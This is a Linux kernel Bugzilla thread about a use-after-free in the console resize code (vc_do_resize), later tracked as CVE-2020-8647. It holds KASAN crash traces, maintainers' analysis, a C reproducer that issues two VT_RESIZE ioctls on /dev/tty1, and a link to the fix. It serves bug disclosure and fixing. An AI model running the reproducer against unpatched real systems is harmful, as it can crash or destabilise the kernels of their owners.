Bug 206359
| Summary: | Linux Kernel 5.4.7 - vc_do_resize use-after-free | ||
|---|---|---|---|
| Product: | Drivers | Reporter: | Tristan Madani (tristmd) |
| Component: | Console/Framebuffers | Assignee: | James Simmons (jsimmons) |
| Status: | NEW --- | ||
| Severity: | normal | CC: | 1258364380, ajak, jirislaby |
| Priority: | P1 | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Kernel Version: | 5.4.7 | Subsystem: | |
| Regression: | No | Bisected commit-id: | |
Oh well... /* FIXME: all this needs locking */ /* Variables for selection control. */ ... static char *sel_buffer; Do we have a reproducer? (In reply to Tristan from comment #0) > Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415 … > Call Trace: … > memcpy+0x1f/0x50 mm/kasan/common.c:122 This is: check_memory_region((unsigned long)src, len, false, _RET_IP_); So *src* of the memcpy is bad: > memcpy include/linux/string.h:378 [inline] > scr_memcpyw include/linux/vt_buffer.h:49 [inline] > vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 which means old_origin is bad here: scr_memcpyw((unsigned short *) new_origin, (unsigned short *) old_origin, rlth); The accesses, allocs and frees are serialized by the console lock. > vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840 … > The buggy address belongs to the page: > page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000 > index:0x0 > raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000 > raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 > page dumped because: kasan: bad access detected It would help to see who and where freed the screen buffer. Or a reproducer would too. (In reply to Tristan from comment #0) > Memory state around the buggy address: > ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > >ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ^ … > Note: The UAF read could range from 4 to 6936 (and probably more) in my > various reports. Also, could that be a simple out-of-bounds access instead of UAF? Do the accesses always start on a new page? if (vc->vc_y > new_rows) {
if (old_rows - vc->vc_y < new_rows) {
/*
* Cursor near the bottom, copy contents from the
* bottom of buffer
*/
old_origin += (old_rows - new_rows) * old_row_size;
} else {
/*
* Cursor is in no man's land, copy 1/2 screenful
* from the top and bottom of cursor position
*/
old_origin += (vc->vc_y - new_rows/2) * old_row_size;
}
}
end = old_origin + old_row_size * min(old_rows, new_rows);
In function gotoxy update vc->vc_y, vc->vc_y always less than vc->vc_rows. so we can prove that "end" always less than real old_origin buffer end. It seems that not be a simple out-of-bounds. I try to reproduce, but i failed.
end = old_origin + old_row_size * min(old_rows, new_rows); If origin buffer is equal to vga_vram_base, if old_row_size great than vga_vram_size, end may great than vga_vram_end. reproducer：
vc_cve.c:
#include <stdio.h>
#include <sys/ioctl.h>
#include "vt.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main()
{
int fd;
struct vt_consize size1 = {0x0, 0x4079, 0x200, 0x2, 0x0, 0x1}; ---具体环境不同需要调节参数
struct vt_consize size2 = {0x0, 0x400, 0x0, 0x0, 0x95, 0x1};
printf("start test\n");
fd = open("/dev/tty1", O_RDWR);
if (fd < 0) {
printf("open /dev/tty1 failed errno %d\n", fd);
return 1;
}
int ret;
ret = ioctl(fd, VT_RESIZE, &size1);
if (ret < 0) {
printf("resize 1 failed\n");
return 1;
}
ret = ioctl(fd, VT_RESIZE, &size2);
if (ret < 0) {
printf("resize 2 failed\n");
return 1;
}
close(fd);
printf("end test \n");
return 0;
}
/mnt # ./vc_cve
start test
[ 76.282539] ==================================================================
[ 76.282595] BUG: KASAN: use-after-free in vc_do_resize+0x76c/0x11d0
[ 76.282595] Read of size 2048 at addr ffff888000100882 by task vc_cve/1227
[ 76.282595]
[ 76.282595] CPU: 0 PID: 1227 Comm: vc_cve Not tainted 5.3.0 #8
[ 76.282595] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org 04/01/2014
[ 76.282595] Call Trace:
[ 76.282595] dump_stack+0x5b/0x90
[ 76.282595] ? vc_do_resize+0x76c/0x11d0
[ 76.282595] print_address_description+0x67/0x32d
[ 76.282595] ? vc_do_resize+0x76c/0x11d0
[ 76.282595] ? vc_do_resize+0x76c/0x11d0
[ 76.282595] __kasan_report.cold.6+0x1a/0x3e
[ 76.282595] ? vc_do_resize+0x76c/0x11d0
[ 76.282595] kasan_report+0xe/0x12
[ 76.282595] check_memory_region+0x144/0x1c0
[ 76.282595] memcpy+0x1f/0x50
[ 76.282595] vc_do_resize+0x76c/0x11d0
[ 76.282595] ? _raw_spin_lock+0x75/0xd0
[ 76.282595] ? _raw_read_lock_bh+0x40/0x40
[ 76.282595] ? vc_uniscr_alloc+0x90/0x90
[ 76.282595] ? _raw_spin_lock_irqsave+0x7b/0xd0
[ 76.282595] ? _raw_spin_trylock_bh+0x120/0x120
[ 76.282595] ? security_capable+0x53/0x90
[ 76.282595] vt_ioctl+0x316/0x1fa0
[ 76.282595] ? complete_change_console+0x300/0x300
[ 76.282595] ? unwind_next_frame+0x10f5/0x1b20
[ 76.282595] ? deref_stack_reg+0xab/0xe0
[ 76.282595] ? __read_once_size_nocheck.constprop.8+0x10/0x10
[ 76.282595] ? mnt_get_count+0x140/0x140
[ 76.282595] ? unwind_next_frame+0xf4b/0x1b20
[ 76.282595] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 76.282595] ? terminate_walk+0x1d3/0x480
[ 76.282595] tty_ioctl+0x442/0x11b0
[ 76.282595] ? tty_vhangup+0x10/0x10
[ 76.282595] ? memcpy+0x34/0x50
[ 76.282595] ? avc_has_extended_perms+0x206/0xf30
[ 76.282595] ? avc_ss_reset+0x130/0x130
[ 76.282595] ? stack_trace_consume_entry+0x160/0x160
[ 76.282595] ? kmem_cache_alloc+0xb2/0x1c0
[ 76.282595] ? save_stack+0x4d/0x80
[ 76.282595] ? save_stack+0x19/0x80
[ 76.282595] ? __kasan_slab_free+0x12e/0x180
[ 76.282595] ? kmem_cache_free+0x7b/0x290
[ 76.282595] ? do_sys_open+0x166/0x350
[ 76.282595] ? do_syscall_64+0x89/0x2e0
[ 76.282595] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 76.282595] ? up_read+0xf/0x90
[ 76.282595] ? _raw_spin_lock_irqsave+0x7b/0xd0
[ 76.282595] ? _raw_spin_trylock_bh+0x120/0x120
[ 76.282595] do_vfs_ioctl+0x18e/0xf00
[ 76.282595] ? ioctl_preallocate+0x1a0/0x1a0
[ 76.282595] ? selinux_file_ioctl+0x3b8/0x540
[ 76.282595] ? selinux_capable+0x20/0x20
[ 76.282595] ? __fsnotify_update_child_dentry_flags.part.3+0x330/0x330
[ 76.282595] ? __kasan_slab_free+0x143/0x180
[ 76.282595] ? do_sys_open+0x166/0x350
[ 76.282595] ksys_ioctl+0x5b/0x90
[ 76.282595] __x64_sys_ioctl+0x6a/0xb0
[ 76.282595] ? fpregs_assert_state_consistent+0x18/0x90
[ 76.282595] do_syscall_64+0x89/0x2e0
[ 76.282595] ? prepare_exit_to_usermode+0xe8/0x190
[ 76.282595] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 76.282595] RIP: 0033:0x7ff7917cdb97
[ 76.282595] Code: 00 00 90 48 8b 05 09 73 2c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d9 728
[ 76.282595] RSP: 002b:00007fff928e7ad8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[ 76.282595] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff7917cdb97
[ 76.282595] RDX: 00007fff928e7ae0 RSI: 0000000000005609 RDI: 0000000000000003
[ 76.282595] RBP: 00007fff928e7b00 R08: 0000000000000003 R09: 0000000000000000
[ 76.282595] R10: fffffffffffff3c7 R11: 0000000000000246 R12: 0000000000400520
[ 76.282595] R13: 00007fff928e7be0 R14: 0000000000000000 R15: 0000000000000000
[ 76.282595]
[ 76.282595] The buggy address belongs to the page:
[ 76.282595] page:ffffea0000004000 refcount:0 mapcount:-128 mapping:0000000000000000 index:0x0
[ 76.282595] flags: 0x0()
[ 76.282595] raw: 0000000000000000 ffff88807ffdb300 ffff88807ffdb300 0000000000000000
[ 76.282595] raw: 0000000000000000 0000000000000008 00000000ffffff7f 0000000000000000
[ 76.282595] page dumped because: kasan: bad access detected
[ 76.282595]
[ 76.282595] Memory state around the buggy address:
[ 76.282595] ffff888000100780: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 76.282595] ffff888000100800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 76.282595] >ffff888000100880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 76.282595] ^
[ 76.282595] ffff888000100900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 76.282595] ffff888000100980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 76.282595] ==================================================================
[ 76.282595] Disabling lock debugging due to kernel taint
This is fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=513dc792d6060d5ef572e43852683097a8420f56 And is also tracked as CVE-2020-8647. |
Linux Kernel 5.4.7 - vc_do_resize use-after-free 0x01 - Introduction === # Product: Linux Kernel # Version: 5.4.7 (stable) and probably other versions # Bug: UAF (Read) # Tested on: GNU/Linux Debian 9 x86_64 0x02 - Details === There is a UAF read in "vc_do_resize" which is the resizing method for the tty. Code analysis (drivers/tty/vt/vt.c): static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc, unsigned int cols, unsigned int lines) { unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0; unsigned long end; unsigned int old_rows, old_row_size, first_copied_row; unsigned int new_cols, new_rows, new_row_size, new_screen_size; unsigned int user; unsigned short *newscreen; struct uni_screen *new_uniscr = NULL; WARN_CONSOLE_UNLOCKED(); if (!vc) return -ENXIO; user = vc->vc_resize_user; vc->vc_resize_user = 0; ../.. update_attr(vc); while (old_origin < end) { scr_memcpyw((unsigned short *) new_origin, // <-- UAF occurs here (unsigned short *) old_origin, rlth); if (rrem) scr_memsetw((void *)(new_origin + rlth), vc->vc_video_erase_char, rrem); old_origin += old_row_size; new_origin += new_row_size; } if (new_scr_end > new_origin) scr_memsetw((void *)new_origin, vc->vc_video_erase_char, new_scr_end - new_origin); kfree(vc->vc_screenbuf); vc->vc_screenbuf = newscreen; vc->vc_screenbuf_size = new_screen_size; set_origin(vc); 0x03 - Crash report === BUG: KASAN: use-after-free in memcpy include/linux/string.h:378 [inline] BUG: KASAN: use-after-free in scr_memcpyw include/linux/vt_buffer.h:49 [inline] BUG: KASAN: use-after-free in vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415 CPU: 3 PID: 18415 Comm: syz-executor.2 Not tainted 5.4.7 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0xee/0x16e lib/dump_stack.c:118 print_address_description.constprop.8+0x36/0x50 mm/kasan/report.c:374 __kasan_report.cold.11+0x1a/0x3a mm/kasan/report.c:506 kasan_report+0xe/0x20 mm/kasan/common.c:634 check_memory_region_inline mm/kasan/generic.c:185 [inline] check_memory_region+0x144/0x1c0 mm/kasan/generic.c:192 memcpy+0x1f/0x50 mm/kasan/common.c:122 memcpy include/linux/string.h:378 [inline] scr_memcpyw include/linux/vt_buffer.h:49 [inline] vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840 tty_ioctl+0x525/0x15a0 drivers/tty/tty_io.c:2657 vfs_ioctl fs/ioctl.c:47 [inline] file_ioctl fs/ioctl.c:510 [inline] do_vfs_ioctl+0x1c5/0x1310 fs/ioctl.c:697 ksys_ioctl+0x9b/0xc0 fs/ioctl.c:714 __do_sys_ioctl fs/ioctl.c:721 [inline] __se_sys_ioctl fs/ioctl.c:719 [inline] __x64_sys_ioctl+0x6f/0xb0 fs/ioctl.c:719 do_syscall_64+0xbc/0x560 arch/x86/entry/common.c:290 entry_SYSCALL_64_after_hwframe+0x49/0xbe RIP: 0033:0x4662e9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fed90badc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 000000000052bfa8 RCX: 00000000004662e9 RDX: 0000000020000040 RSI: 0000000000005609 RDI: 0000000000000004 RBP: 00000000ffffffff R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004a744b R13: 00000000004ef470 R14: 00000000004adbf5 R15: 00007fed90bae6bc The buggy address belongs to the page: page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000 raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff888000100080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff888000100100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Note: The UAF read could range from 4 to 6936 (and probably more) in my various reports.